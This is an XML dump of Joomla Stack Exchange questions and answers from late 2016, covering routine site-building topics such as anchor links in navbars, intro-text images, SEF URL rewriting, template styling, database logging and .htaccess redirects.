  <row Id="18490" PostTypeId="2" ParentId="18489" CreationDate="2016-11-27T06:39:13.227" Score="3" Body="&lt;p&gt;Have you tried to use &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/7829&quot; rel=&quot;nofollow&quot;&gt;Subform field&lt;/a&gt;?. It allows you to nest XML forms inside each other or reuse your existing forms inside your current form. And your need, you can combine it with &lt;a href=&quot;https://docs.joomla.org/form_field#Showon&quot; rel=&quot;nofollow&quot;&gt;showon&lt;/a&gt; attribute.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2016-11-27T09:44:04.640" LastActivityDate="2016-11-27T09:44:04.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18491" PostTypeId="2" ParentId="18484" CreationDate="2016-11-27T07:27:32.463" Score="1" Body="&lt;p&gt;From my understanding of what you explained, you were creating a static HTML website, with some static informations, when it's done then the boss asking you to add more dynamic sections/functions such as article and forum discussion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is correct, then you have some options :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you don't know how to convert your current HTML website to Joomla, you can install joomla under a sub domain then create a link in your static HTML website to article and forum section in your Joomla. You can do this if you don't mind to have different look of article and forum page/section.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Learn and study converting HTML to Joomla template. This is the ideal option, but learning curve is relatively steep and you may need some time to accomplish it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hire joomla developer form freelancer marketplace to convert your HTML website to Joomla. This will need some money to spend, but could be an efficient move.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find a Joomla template that looks similar to your current HTML website (I believe there are lot of bootstrap based Joomla template available out there), drop the HTML website and install Joomla with that template and tell the boss that you've made some improvements ;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-27T07:27:32.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18493" PostTypeId="1" AcceptedAnswerId="18562" CreationDate="2016-11-28T14:25:57.033" Score="1" ViewCount="418" Body="&lt;p&gt;My site has two pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/en&#xA;http://www.example.com/en/contacts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pages both share a common navbar and some of the navbar links are to specific anchors &lt;em&gt;of the homepage.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;These links do not work properly&lt;/strong&gt;, pointing to the same-named anchor in the &lt;em&gt;current&lt;/em&gt; page instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried all of these syntaxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?Itemid=1121&amp;amp;#anchor1&#xA;index.php?Itemid=1121&amp;amp;amp;#anchor1&#xA;http://www.example.com/en/#anchor1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1121 is the ItemID of the homepage;&lt;/li&gt;&#xA;&lt;li&gt;All anchors are HTML IDs;&lt;/li&gt;&#xA;&lt;li&gt;If no element of the current page has the anchor1 ID, the link does nothing;&lt;/li&gt;&#xA;&lt;li&gt;Both addresses work as intended if I use them inside an &lt;code&gt;&amp;lt;a href=&quot;&lt;/code&gt;...&lt;code&gt;&quot;&amp;gt;link&amp;lt;/a&amp;gt;&lt;/code&gt; structure somewhere else on the page;&lt;/li&gt;&#xA;&lt;li&gt;Both addresses work as intended if I right click on the links and choose &quot;open in another window/tab&quot;;&lt;/li&gt;&#xA;&lt;li&gt;The problem was already there before activating the SEF URL rewriting option;&lt;/li&gt;&#xA;&lt;li&gt;Changing &lt;code&gt;&amp;amp;&lt;/code&gt; to &lt;code&gt;&amp;amp;amp;&lt;/code&gt; does not solve the problem;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inspecting the element in Chrome gives me the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/en/#anchor1&quot; data-uk-smooth-scroll=&quot;{offset: 0}&quot;&amp;gt;Home Page Anchor&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What can I do to solve this problem?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If relevant, I'm using Joomla 3.6.4, PHP 7.0.13 and the Luna theme from Yootheme (hence the uikit smoothscroll data). The behaviour is the same under IE 11.672.10586.0 and Chrome 54.0.2840.99 m&lt;/p&gt;&#xA;" OwnerUserId="9348" LastActivityDate="2016-12-06T13:34:18.593" Title="Navbar links point to the same page when using anchors" Tags="|joomla-3.x|weblinks|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18494" PostTypeId="2" ParentId="18493" CreationDate="2016-11-28T14:34:37.407" Score="0" Body="&lt;p&gt;I solve this with this steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create &quot;hiden menu&quot;;&lt;/li&gt;&#xA;&lt;li&gt;Create a blank article  in this hide menu with some like &lt;code&gt;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &quot;home&quot; in this blank article;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now yours #anchors was working like a &quot;one page site&quot;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See this example:&#xA;&lt;a href=&quot;http://www.sindha.org.br/lab/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.sindha.org.br/lab/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-11-28T14:34:37.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18495" PostTypeId="2" ParentId="18480" CreationDate="2016-11-28T14:43:43.893" Score="0" Body="&lt;p&gt;So the _item.php files contained the html for the individual items, and the layout files themselves handled the placement of multiple items on the page itself. The layout file itself contained a function &lt;code&gt;require JModuleHelper::getLayoutPath&lt;/code&gt; which pointed back to the item file. I copied and created custom item and layout files with the getLayoutPath function pointing to the new custom item file and that solved my problem. &lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-11-28T14:43:43.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18496" PostTypeId="1" AcceptedAnswerId="21986" CreationDate="2016-11-28T16:20:55.933" Score="3" ViewCount="1375" Body="&lt;p&gt;So, I'm trying to set up intro text for some of my articles displayed on a page by the Article Newsflash Advanced Module. I'm using joomla 3.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to include images in the intro text on the main gallery page. The images are just small country flag png files. The issue is that it seems that images are stripped from the intro text somewhere along the line. So, how can I go about adding an image to the intro text?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 3.6 with the Article Newsflash Advanced module. The issue is that I add an image (.png) to the intro text (i.e. the text above the red &quot;read more&quot; hr it isn't shown in the intro text for the article (i.e. on text is displayed on the page with the Article Newsflash module. When I place the same image below the &quot;read more&quot; line it displays correctly within the article on the article page. From what I can tell, the module's layout code just echoes out the &quot;item-&gt;introtext&quot; into the intro text div on the page itself. &lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2017-01-24T09:57:40.197" LastActivityDate="2017-11-28T12:16:49.313" Title="How to show images in intro text section on article news flash advanced gallery" Tags="|articles|joomla-3.6|intro-text|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18497" PostTypeId="2" ParentId="18496" CreationDate="2016-11-28T20:46:22.623" Score="1" Body="&lt;p&gt;If you can still find the image that you added to the introtext, when you open the article to edit with the editor, then the image isn't getting stripped from saving into the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the information you provided is not clear and sufficient. For example we don't know what you are using to display the articles / where you are expecting to see that intro-text image - and anything else about your configuration/setup. Certainly a link to the page with the issue would help us to help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So some possible situations with a long shot are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You are using a content module that indeed strips out the images and likely other or all html mark-up from the introtext.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You are using a template override for the blog layout that removes hmtl from there. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It could also be something like a css rule that is hiding those images.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If nothing from the above describes your case or you are still not sure, then provide more info.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-11-28T20:46:22.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18498" PostTypeId="2" ParentId="18484" CreationDate="2016-11-28T20:54:16.360" Score="1" Body="&lt;p&gt;To answer directly your 2 questions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Is it possible, if install Joomla as subdomain to have navigation link to point to the homepage or other pages of my domain?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Will joomla registered member also have access to Kunena forum? or will they have to register on each?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just keep in mind that the Joomla &quot;sub-site&quot; will look different than your main site.&#xA;If you want to give the same look, then you will have to re-create the design of your static html site, to a Joomla template, which will be adequate work and it requires a level of experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I was you, I would build the whole website with Joomla.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-11-28T20:54:16.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18499" PostTypeId="1" CreationDate="2016-11-28T21:09:08.280" Score="2" ViewCount="51" Body="&lt;p&gt;There are PHP comments similar to these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** &#xA; * @package    Joomla.Administrator &#xA; * &#xA; * @copyright  Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved. &#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt &#xA; */ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The editor I use (Sublime Text) always highlights the string starting with &lt;strong&gt;@&lt;/strong&gt;. So, I think that such string has some relevance. I think those strings are read for something. So it is not a simple comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking of the example above, what do @package, @copyright and @license mean? Are they read by browsers, by &lt;em&gt;.htaccess&lt;/em&gt;, for something?&lt;/p&gt;&#xA;" OwnerUserId="8699" LastEditorUserId="27" LastEditDate="2016-11-29T23:14:53.097" LastActivityDate="2016-11-29T23:14:53.097" Title="What are the purpose of comments with @ in Joomla PHP files?" Tags="|joomla-3.x|php|joomla-coding-standards|" AnswerCount="0" CommentCount="4" ClosedDate="2016-11-29T08:48:46.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="18500" PostTypeId="2" ParentId="18455" CreationDate="2016-11-29T00:50:53.167" Score="0" Body="&lt;p&gt;Module &quot;easy seo joomla&quot; actually change the meta for the home page. The method I found out is to pick a key word in the title or description meta tag. Then do a search in phpmyadmin. Normally, CMS always has this issue, because module overwrite another module, then overwrite another one. The key is to search in db or source file.&lt;/p&gt;&#xA;" OwnerUserId="9299" LastActivityDate="2016-11-29T00:50:53.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18501" PostTypeId="1" CreationDate="2016-11-29T01:31:35.543" Score="8" ViewCount="487" Body="&lt;p&gt;How can I implement Reverse Caching Support using nginx mentioned in &lt;a href=&quot;https://www.joomla.org/3/174-reverse-caching-support&quot; rel=&quot;noreferrer&quot;&gt;Joomla 3.6 features&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla! 3.6 now supports reverse caching proxies like Varnish or an&#xA;  NGINX caching proxy. These help to provide increased speed, more&#xA;  performance and as a result better ranking in search engines.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7401" LastActivityDate="2017-09-15T14:12:32.957" Title="Reverse Caching Support using nginx" Tags="|joomla-3.6|cache|nginx|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18502" PostTypeId="1" CreationDate="2016-11-29T10:07:28.217" Score="0" ViewCount="1118" Body="&lt;p&gt;I want to change background in &lt;a href=&quot;http://purity-iii.demo.joomlart.com/index.php/layout/new-layouts/features-intro&quot; rel=&quot;nofollow noreferrer&quot;&gt;purity template with Features Intro 1 layout&lt;/a&gt; from plain blue to image in this area:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Rc1oj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rc1oj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried inspect element but couldn't find any css that responsible for this style. Can you help me figure this out how to change the background from color to picture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also, how to change the youtube link from that page? I already look at the Purity Video module but there's no youtube link. Any idea where should I find to change the youtube link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="9350" LastEditorUserId="115" LastEditDate="2016-11-29T23:01:34.713" LastActivityDate="2016-11-30T07:59:34.220" Title="How to customize background image and youtube window in Purity III - Features Intro 1" Tags="|joomla-3.x|templates|t3-framework|purity-iii|joomlart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18503" PostTypeId="2" ParentId="18455" CreationDate="2016-11-29T11:36:51.310" Score="0" Body="&lt;p&gt;To change home page title and description in meta tag see the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Put your homepage title into the &quot;Browser Page Title&quot; field.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &quot;Show Page Heading&quot; to No.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to control the rest of the meta description and keywords for the homepage, click &quot;Metadata Options&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the menu link.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9322" LastActivityDate="2016-11-29T11:36:51.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18504" PostTypeId="2" ParentId="18502" CreationDate="2016-11-29T13:35:44.260" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;To change the background you want:&lt;/strong&gt;&lt;br&gt;&#xA;If you haven't already, create empty file &lt;code&gt;custom.css&lt;/code&gt; in folder &lt;code&gt;/templates/purity_iii/css/&lt;/code&gt; then add to it following selector and adjust it to your liking:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.row-feature.row-feature-primary {&lt;br&gt;&#xA;  background: url('your_image_path') no-repeat scroll 0 0 transparent;&lt;br&gt;&#xA;  }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Regarding that YouTube video:&lt;/strong&gt;&lt;br&gt;&#xA;You are already looking at correct module, i.e. Custom HTML module &lt;code&gt;Purity III video&lt;/code&gt; in position &lt;code&gt;masthead&lt;/code&gt;, but the reason you are not seeing full HTML code lays in the fact that by default TinyMCE editor HIDES &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; tags (and &lt;code&gt;&amp;lt;script&amp;gt;&amp;lt;applet&amp;gt;&lt;/code&gt; tags too).&lt;br&gt;&#xA;So, either: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go to Global Configuration and choose &lt;code&gt;No Editor&lt;/code&gt; for default editor, &lt;/li&gt;&#xA;&lt;li&gt;OR go to &lt;code&gt;Extensions | Plugins&lt;/code&gt;, click &lt;code&gt;Search Tools&lt;/code&gt; button, from &lt;code&gt;Select Type&lt;/code&gt; dropdown choose &lt;code&gt;editors&lt;/code&gt;, click on &lt;code&gt;Editor - TinyMCE&lt;/code&gt; and from &lt;code&gt;Prohibited Elements&lt;/code&gt; textfield delete &lt;code&gt;iframe&lt;/code&gt;. That way you can use TinyMCE as default editor and see YouTube iframe in it.  &lt;/li&gt;&#xA;&lt;li&gt;in the unfortunate case that you saved your changes to that module before changing above plugin settings, and TinyMCE deleted iframe, do not despair - read the secton&lt;br&gt;&#xA;&lt;code&gt;5.5 Masthead configuration&lt;/code&gt; on the last link in my answer.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Word of advice: RTFM!&lt;/strong&gt;&lt;br&gt;&#xA;In order to prevent &quot;Great Hair Loss&quot; in dealing with &quot;Easy To Customize&quot; templates from Joomla Template Giants (JoomlArt, RocketTheme, etc...), you'd better invest some time to find and read as much as possible of their documentation, prior to start working on them.&lt;br&gt;&#xA;In your case, there are tons of Tutorials on JA site for their legendary Purity template:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.joomlart.com/documentation/purity-iii&quot; rel=&quot;nofollow noreferrer&quot;&gt;Purity III Docs&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.joomlart.com/documentation/purity-iii/layout-in-details&quot; rel=&quot;nofollow noreferrer&quot;&gt;Purity III Default Layouts&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.joomlart.com/documentation/purity-iii/layout-in-details#features-layout&quot; rel=&quot;nofollow noreferrer&quot;&gt;Purity III Features Intro 1 layout&lt;/a&gt;&lt;br&gt;&#xA;etc...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-11-30T07:59:34.220" LastActivityDate="2016-11-30T07:59:34.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18505" PostTypeId="2" ParentId="18377" CreationDate="2016-11-29T17:20:11.933" Score="4" Body="&lt;p&gt;Well with the complete absence of even comments, I don't expect that too many folks will be interested.  I put together a class that extends JLog by writing logs to the database instead of text files.  I then used a free component builder to put together a component to view that data.  The resulting component works rather nicely, but is a compilation of tweaks and experiments on top of some bloated base code to see what might be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be downloaded from the &lt;a href=&quot;https://github.com/Joomla-StackExchange/glogger&quot; rel=&quot;noreferrer&quot;&gt;JSE Github&lt;/a&gt;.  Constructive feedback is welcomed.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2016-11-29T17:20:11.933" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18506" PostTypeId="5" CreationDate="2016-11-29T17:32:39.770" Score="0" Body="&lt;p&gt;The JLog class hooks into the global log configuration settings to allow for user configured logging events to be sent to where the user wishes them to be sent. On high load sites Syslog is probably the best (pure PHP function), then the text file based loggers (CSV, W3c or plain Formattedtext) and finally MySQL offers the most features (e.g. rapid searching) but will incur a performance hit due to INSERT being issued.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2016-11-29T17:32:39.770" LastActivityDate="2016-11-29T17:32:39.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18507" PostTypeId="4" CreationDate="2016-11-29T17:32:39.770" Score="0" Body="Using the Joomla JLog class to write log entries to the \logs folder." OwnerUserId="64" LastEditorUserId="64" LastEditDate="2016-11-29T17:32:39.770" LastActivityDate="2016-11-29T17:32:39.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18508" PostTypeId="2" ParentId="18466" CreationDate="2016-11-29T20:04:54.640" Score="1" Body="&lt;p&gt;This is what I use in .htaccess.  It first checks if http or https, then checks if www or non-www.  It will work for any domain and forces all four url variants to same one (in this case &lt;a href=&quot;https://www&quot;&gt;https://www&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;######### CLIENT-SPECIFIC #########&#xA;RewriteCond %{HTTPS} off&#xA;RewriteRule .* https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule .* https://www.%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;######### END CLIENT-SPECIFIC #########&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-11-29T20:04:54.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18509" PostTypeId="2" ParentId="16319" CreationDate="2016-11-30T03:39:42.400" Score="1" Body="&lt;p&gt;I assume you are extending JModelList? I bet your filters after getting overridden by the &lt;code&gt;parent::populateState('a.id', 'asc');&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried called the &lt;code&gt;parent::populateState('a.id', 'asc');&lt;/code&gt; at the beginning of your &lt;code&gt;populateState&lt;/code&gt; method instead of at the end?&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-11-30T03:39:42.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18510" PostTypeId="1" AcceptedAnswerId="18512" CreationDate="2016-12-01T07:42:04.790" Score="0" ViewCount="898" Body="&lt;p&gt;I have got a problem in Joomla..&#xA;I think, it is just a link problem maybe from the server-side. I don't know!&#xA;&lt;pre&gt;I renamed htacess.txt to .htaccess from my root folder before activated URL Rewriting.&lt;/pre&gt; WebSite's page gets response that 404 not found !!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;Example: /localhost/about.html &lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NoTKg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NoTKg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;pre&gt;But I get a response when I put to &quot;index.php&quot; in the URL&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;/localhost/index.php/about.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E7GpW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7GpW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;then everything is seen.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;I want to web site run localhost/about.html&lt;/h1&gt;&#xA;&#xA;Would I change something from .htaccess.txt or db ?&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me ? And I am sorry my bad english :((&lt;/p&gt;&#xA;" OwnerUserId="9359" LastEditorUserId="3650" LastEditDate="2016-12-01T10:03:23.043" LastActivityDate="2016-12-01T10:03:23.043" Title="How to remove index.php from URLs with enabled URL Rewriting on localhost" Tags="|url|sef|localhost|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18511" PostTypeId="2" ParentId="18461" CreationDate="2016-12-01T07:51:25.550" Score="2" Body="&lt;p&gt;I did not remember how to get the parent category of article item, but to get the tags for current category you can try to use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categoryTags = new JHelperTags;&#xA;$categoryTags-&amp;gt;getItemTags('com_content.category', $item-&amp;gt;catid);&#xA;&#xA;&amp;lt;?php echo JLayoutHelper::render('joomla.content.tags', $categoryTags-&amp;gt;itemTags); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2016-12-01T07:51:25.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18512" PostTypeId="2" ParentId="18510" CreationDate="2016-12-01T09:13:22.350" Score="1" Body="&lt;p&gt;check if apache rewrite_module ia active in your localhost&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-12-01T09:13:22.350" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18513" PostTypeId="2" ParentId="9068" CreationDate="2016-12-01T14:11:58.530" Score="0" Body="&lt;p&gt;Open the Office 365 doc in browser and clic on the... menu and choose Embed to get the code. Insert in Joomla!&lt;/p&gt;&#xA;" OwnerUserId="9362" LastActivityDate="2016-12-01T14:11:58.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18516" PostTypeId="1" CreationDate="2016-12-01T15:27:54.553" Score="0" ViewCount="895" Body="&lt;p&gt;I have tring with the same thing but using following code but it not retuns any category what need to pass not getting for the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model_categories = JCategories::getInstance('Thirdparty');&#xA;$root = $model_categories-&amp;gt;get('root');&#xA;$categories = $root-&amp;gt;getChildren();&#xA;print_r($categories);die; // category items available in db then also returns nothing ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to display category dropdown as same in admin edit article option..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- category 1(optgroup)&#xA;-- subcategory 1&#xA;-- subcategory 2&#xA;- category 2(optgroup)&#xA;-- ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have checked &lt;a href=&quot;https://joomla.stackexchange.com/questions/13930/how-to-get-categories-of-custom-extension-or-third-party-component/18515#18515&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8836" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2021-04-11T07:02:15.243" Title="Need to display category dropdown for custom component on frontend site using joomla category extension" Tags="|joomla-3.x|joomla-3.5|category|subcategories|dropdown|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18517" PostTypeId="1" CreationDate="2016-12-01T22:02:32.130" Score="2" ViewCount="92" Body="&lt;p&gt;I was in the Template section, (as a novice, in the wrong area) trying to change the appearance of a module. I clicked on Create Overrides tab, then in the third column Layouts list, clicked &quot;sidebar B&quot;. I exited that page, clearly not knowing what I was doing, and then realized I made all sidebar B modules throughout the site disappear, and I don't know how to revert it back to what it was.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that replacing the config.json file with an older version restores the sidebar B modules throughout the site, however, as soon as I go back into to the Templates &gt; Styles area all Sidebar B's throughout the site disappear again and the actual backend page appearance of the template area changes.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Yootheme's &quot;Eat&quot; theme and just want to revert back to the default so that the sidebar B modules show up again.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can permanently restore without losing all of my site data? Any help would be greatly appreciated! &lt;/p&gt;&#xA;" OwnerUserId="9364" LastEditorUserId="3650" LastEditDate="2016-12-02T07:58:58.167" LastActivityDate="2017-05-20T20:55:08.480" Title="Unintentional override to Sidebar B module made it disappear. How to restore?" Tags="|joomla-3.x|templates|joomla-3.5|template-override|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18518" PostTypeId="2" ParentId="1159" CreationDate="2016-12-02T06:57:27.727" Score="-1" Body="&lt;p&gt;I'm using Classified Website in Joomla Platform... Setup a new multi-language website in Joomla is very much easy and flexible...&#xA;Just look at this &quot;&lt;a href=&quot;https://jomclassifieds.com/blog/95-how-to-create-a-multilingual-joomla-website.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Guide to How to create a multilingual Joomla Website with in minutes&lt;/a&gt;&quot;...It is very simple to understand and explains you very clear step by step method...&lt;/p&gt;&#xA;" OwnerUserId="9037" LastActivityDate="2016-12-02T06:57:27.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
